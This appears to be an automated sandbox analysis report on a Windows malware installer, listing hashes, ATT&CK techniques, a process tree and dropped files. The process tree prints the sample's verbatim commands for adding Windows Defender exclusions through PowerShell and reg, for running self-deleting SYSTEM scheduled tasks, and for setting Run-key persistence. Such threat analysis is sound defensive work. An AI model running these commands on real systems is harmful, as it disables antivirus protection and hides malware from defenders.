a86da4d011ae99ad698f825b616f1ab76d646dc3acce420c315f1e0a57bdd03e

Analysis

max time kernel
151s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 06:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.11.exe
Size 38.9MB
Sample261023-grflyscs5r
SHA256 a86da4d011ae99ad698f825b616f1ab76d646dc3acce420c315f1e0a57bdd03e
MD5 effe4d6d6914806d6e0146af22a351cf
SHA1 18087d047b4734a8fdaebf262ea83e1f72edb416
SHA512 2b9212ae2237ee35e35da9da4eb2d04a02dc47aba5267db0c1808bc93a80d6eb895c5bcce914765ee8fbc45b89e97369b62ea9b19c301c99ee426206170fab46
SSDEEP 49152:BPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsX/:B6chqTShW/hNbSiQfMJPLmrUls/
TLSH
T1F497D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\zYRV4U = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2992	WFTMeQ.exe
1860	WFTMeQ.exe

Loads dropped DLL 2 IoCs

pid	Process
2992	WFTMeQ.exe
1860	WFTMeQ.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\zYRV4U\\WFTMeQ.exe\""	WFTMeQ.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4672	cmd.exe
3320	cmd.exe
1736	cmd.exe
3256	cmd.exe
3764	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	WFTMeQ.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\65btWa	WFTMeQ.exe
File created	C:\Program Files (x86)\65btWa\65btWa.exe	WFTMeQ.exe
File created	C:\Program Files (x86)\65btWa\XPSPLOG.dll	WFTMeQ.exe
File created	C:\Program Files (x86)\65btWa\thumbs.db	WFTMeQ.exe
File opened for modification	C:\Program Files (x86)\65btWa\XPSPLOG.dll	WFTMeQ.exe
File opened for modification	C:\Program Files (x86)\65btWa\image.png	WFTMeQ.exe
File created	C:\Program Files (x86)\65btWa\image.png	WFTMeQ.exe
File opened for modification	C:\Program Files (x86)\65btWa\65btWa.exe	WFTMeQ.exe
File opened for modification	C:\Program Files (x86)\65btWa\thumbs.db	WFTMeQ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3504	cmd.exe
1540	cmd.exe
3080	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.11.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.11.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WFTMeQ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WFTMeQ.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2028	schtasks.exe
4244	schtasks.exe
1756	schtasks.exe
1356	schtasks.exe
5268	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
5852	install.2.0.11.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe
2992	WFTMeQ.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe
Token: 36	2208	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 2208	2992	WFTMeQ.exe	93
PID 2992 wrote to memory of 1736	2992	WFTMeQ.exe	95
PID 1736 wrote to memory of 1756	1736	cmd.exe	98
PID 1736 wrote to memory of 1188	1736	cmd.exe	99
PID 2992 wrote to memory of 3256	2992	WFTMeQ.exe	101
PID 1736 wrote to memory of 3028	1736	cmd.exe	104
PID 3256 wrote to memory of 1356	3256	cmd.exe	106
PID 2992 wrote to memory of 3764	2992	WFTMeQ.exe	107
PID 3256 wrote to memory of 2604	3256	cmd.exe	110
PID 3764 wrote to memory of 5268	3764	cmd.exe	109
PID 3256 wrote to memory of 1352	3256	cmd.exe	112
PID 3764 wrote to memory of 6088	3764	cmd.exe	113
PID 2992 wrote to memory of 4672	2992	WFTMeQ.exe	114
PID 3764 wrote to memory of 1816	3764	cmd.exe	116
PID 4672 wrote to memory of 2028	4672	cmd.exe	117
PID 2992 wrote to memory of 3320	2992	WFTMeQ.exe	120
PID 3320 wrote to memory of 4244	3320	cmd.exe	122
PID 4672 wrote to memory of 6084	4672	cmd.exe	123
PID 3320 wrote to memory of 3036	3320	cmd.exe	125
PID 4672 wrote to memory of 1580	4672	cmd.exe	126
PID 3320 wrote to memory of 1348	3320	cmd.exe	127
PID 3504 wrote to memory of 2548	3504	cmd.exe	130
PID 3080 wrote to memory of 2400	3080	cmd.exe	131
PID 1540 wrote to memory of 2616	1540	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.11.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.11.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5852

C:\Users\Public\zYRV4U\WFTMeQ.exe
"C:\Users\Public\zYRV4U\WFTMeQ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zYRV4U\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zYRV4U\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4244
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1348
- C:\Program Files (x86)\65btWa\65btWa.exe
  "C:\Program Files (x86)\65btWa\65btWa.exe"
  2⤵
  PID:4744

C:\Users\Public\zYRV4U\WFTMeQ.exe
"C:\Users\Public\zYRV4U\WFTMeQ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1860

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zYRV4U" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zYRV4U" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2548

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3156

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2616

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2400

C:\Program Files (x86)\65btWa\65btWa.exe
"C:\Program Files (x86)\65btWa\65btWa.exe"
1⤵
PID:2532

C:\Program Files (x86)\65btWa\65btWa.exe
"C:\Program Files (x86)\65btWa\65btWa.exe"
1⤵
PID:1672

C:\Program Files (x86)\Fv4RHVN5\yX6gnf.exe
"C:\Program Files (x86)\Fv4RHVN5\yX6gnf.exe"
1⤵
PID:1060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

65btWa.exe

Path C:\Program Files (x86)\65btWa\65btWa.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\65btWa\XPSPLOG.dll
Size 4.6MB
SHA256 2fb0b490a0fb49b18c3e284a23aabac75d0c5cccb39dc9aec7e2afc383b5632d
MD5 22e21d2325c80fa46d6a1c97ce5e4c7f
SHA1 d4bbf3fb2cf3b0fc136faa76e11b2d1167897396
SHA512 5f4e7afcd6af18c99356706746bcd2703ce9c82c5b0f294fc40db39d5c342bdff604c7afcce022defd5cc4e1f9c64c5f42270559a3ceafd009ec3e336813e608
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyZ:BMWKfU+BcUTHCCCfqCiUffnZ
TLSH
T153263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\65btWa\XPSPLOG.dll
Size 2.8MB
SHA256 213ff013057ee04e02c8821eb352ca04a1d79d0f4099ee5df6b790ea18299ea3
MD5 9128a3123015e5d7b4db6fce38aa8182
SHA1 3bcdd13cac743734138643fef46baf3a7bfe148d
SHA512 a63342656030d7d23909981b83daa705d521fa7234c807a71e304cdf6e5fda1f5785568ffe00c7951e7b8967e13ab6b4d8b189b62029549526334e9d5ad0a465
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZK:yCMWmcKfST5t+BceThTHfaCK
TLSH
T109D533DEAA9B451FE66132792F7DFC6D76BC46C4831EE485D0A2304F5044BAE903E68C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\65btWa\XPSPLOG.dll
Size 4.3MB
SHA256 645f8020200e593019308dc38ccc3a5159d5d6107cc27f416bda7d476182f961
MD5 59d9d5ac6dbea78659c06592fd69894b
SHA1 bf87d38671394331177ede7212ae3901d8867a55
SHA512 e4fad74e8907cb8718a37e2a8a380c292c917a794afc1b88a6486f75a8f4cd813138af236755c0d4d19b890f9133f98c7e7e9dd04e297799c4e1b10034e47f4d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1o:BMWKfU+BcUTHCCCfqCiUfo
TLSH
T173263349BACB064DD89672B45F2AFC7E76B52CCC4318DD48C85975C7E8B2B29303990E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\65btWa\image.png
Size 4.8MB
SHA256 4721b2095618b12bdd22d2c4df7069e29546366a25287b4ed563387fd81b0417
MD5 c1f8bf56ffbd7920424a2e35e90b8cf9
SHA1 69e13551f9ef928b1ae6ab94b8b52c7f1d7df09e
SHA512 76712adb8125e374f7220af6cb3a9427779cf0da05ee7cbab383387986f364be60eeef314b602b8574498903bde08b6154922df30bc3192610aacffa33e045eb
SSDEEP 98304:N/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:NMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T12C36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\65btWa\thumbs.db
Size 358KB
SHA256 842a5c0c8df9962955acc3da985ccf74e43ad61280e96f2d275b2f12182f823e
MD5 b8190a8ec1de4e8458a3a46480a14d37
SHA1 f689c4c57c54afb9627cacc20ce33cc49147e3cc
SHA512 0589615fa1e801a14092c54fb94e7d5a126892bcba4903230b06f96117a332438c49068d1a4d77f2a933ca98d437d82c1cccfc72a8d8ae81f582a54a6f80b075
SSDEEP 6144:8iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:b8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T15874F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\Fv4RHVN5\XPSPLOG.dll
Size 1.5MB
SHA256 b781636b4309724888e26ee54af7a454ad860bef7c8fed335ea40579b9ebe064
MD5 04c4e9d7337856a8c307553e3f1939ff
SHA1 0be490504a25aa7e2b4e97b99736ba4f5d53f503
SHA512 dc962bbe8c68b87fbcd8a083b706bdf81829c58277c70a2d303c35b35d6b60487bee62c7751771b1cc6f2f49523dc6e2b5707d44bd608bac2c027a823fba41f8
SSDEEP 24576:RTOuWhLK5RyoT9xcjWByWfymm5LQMqKJoyPhNuTXT5tpB1JA6nvsNBm:3KLKP3cCMWmRqKJ1JNST5Z/nvsN8
TLSH
T14B7533D6B1C7851EEA60B3B02F9CFD2CB57A99C881BDD95598D6308B4031AAF403978D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 131c9dda888c1e77ffd638132150765304dd9d60afdfaa6daf0396adbc319488
MD5 3a321b9713dd662a14e008f977283ca6
SHA1 ac557b1b7d5c9e97e2a2c5369f2538441de6a0a4
SHA512 4ca491d262887ca8f415397911ac15f5529ac0f30950efc3281c56b91d9f4dc2e1c3973bfadd9532e4ca3b7c050eae387b4a5bd0e98539261ede27e99ab2f2fd
TLSH
T14D31C6BF2F6D7D828F3A8E9115CAF2322CE9E1D09CD9149D1111C4545F443F22F5A80E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 c71f96581f2c4acc9d067c4961c5459561f20e0816dc5bc5ad96309e16538e91
MD5 20d56aaaaf5ff187e8b5986bfa4bb9fb
SHA1 35f53fab55af9a882ad23973e3b5541231f99b65
SHA512 19c8f2e68e094a67221cc9b4425c13c3df2c9eec5442593d0969a3d8905a6e9cef102d64842ef4ca601676d962ede8683e19332175b087b216601de6978f38ac
TLSH
T1EE31D69A8A390006AF0C8F3492D5D63FACF092A04CF9084A563FD1AFE556B779F82410
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 d6bfacd126206d76c622ddc625d16b7ee1b157275fbd04a61341f2500482b3ff
MD5 ac6f7bfa81a4e12b333f89725e7647fa
SHA1 5e0da939613b7e0e0d24076187d99a9db3f23038
SHA512 87c4f6d4cba098419e843f8fd87d6dcfeb00810cb7e441dc565d4113b28ee3915415675e86f9ae8af2cc6e9449b1ce8da6f02a03832463179da7bed555f3d96d
TLSH
T1EAF0DC0C68B8413EF137DE3C8ADD3BAA4AAFF705280241B402F94709A455A053D6057E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 f015a7bdaa0dc52bc9febf5cd067478a3bb695e4feec6bdbbd822ab4db2d7b44
MD5 a3eb92ab57df2bfd338be0f125bed4c1
SHA1 a680e5e269fd564308433ad464cd5ed5908d2148
SHA512 d03f68586d33037ee2aed956a7fc68ed393d871483eeeddae7921f9a51c4285f8d45ef75f1b23260775050053f91d079c281f0bfe154be9a2e54fd8162f84ee3
TLSH
T178F05C2D45E9403AF17BD7B846867E70C526F63300067ABE1AF652482B658421C5263E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1og2lc3c.jca.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1og2lc3c.jca.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
